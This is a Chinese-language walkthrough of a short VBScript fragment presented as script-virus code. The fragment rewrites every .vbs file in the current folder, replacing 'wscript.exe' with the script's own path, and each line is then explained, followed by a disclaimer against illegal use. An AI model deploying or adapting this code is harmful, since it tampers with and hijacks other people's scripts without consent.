Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colFiles = objFSO.GetFolder(".").Files
For Each objFile in colFiles
If LCase(Right(objFile.Name, 4)) = ".vbs" Then
Set objFileStream = objFSO.OpenTextFile(objFile.Path, 1)
strContent = objFileStream.ReadAll
objFileStream.Close
If InStr(1, strContent, "wscript.exe") > 0 Then
strContent = Replace(strContent, "wscript.exe", WScript.ScriptFullName)
Set objFileStream = objFSO.OpenTextFile(objFile.Path, 2)
objFileStream.Write strContent
objFileStream.Close
Set objFSO = CreateObject("Scripting.FileSystemObject")
这行代码创建了一个FileSystemObject对象,该对象提供了对文件和文件夹的访问。objFSO是该对象的引用。
Set colFiles = objFSO.GetFolder(".").Files
这行代码获取当前目录(.表示当前目录)中的所有文件,并将这些文件的引用存储在colFiles集合中。
For Each objFile in colFiles
这是一个循环,用于遍历colFiles集合中的每个文件。对于每个文件,变量objFile将引用该文件。
If LCase(Right(objFile.Name, 4)) = ".vbs" Then
这行代码检查当前文件的扩展名是否为“.vbs”(不区分大小写)。如果是,则执行以下的代码块。
Set objFileStream = objFSO.OpenTextFile(objFile.Path, 1)
这行代码打开当前文件,以只读模式(1表示只读)创建一个文本文件流对象。
strContent = objFileStream.ReadAll 从文本文件中读取所有内容,并将其存储在变量strContent中。
objFileStream.Close 关闭文本文件流。
If InStr(1, strContent, "wscript.exe") > 0 Then
检查文本内容中是否包含字符串“wscript.exe”。如果包含,则执行以下的代码块。
strContent = Replace(strContent, "wscript.exe", WScript.ScriptFullName)
将文本内容中的“wscript.exe”替换为当前脚本的完整路径和名称。
Set objFileStream = objFSO.OpenTextFile(objFile.Path, 2)
重新打开当前文件,这次以写入模式(2表示写入)创建一个文本文件流对象。
objFileStream.Write strContent 将修改后的内容写入文件。
objFileStream.Close 关闭文本文件流。
免责声明:本文章仅供了解脚本病毒代码,请勿将其用于非法用途。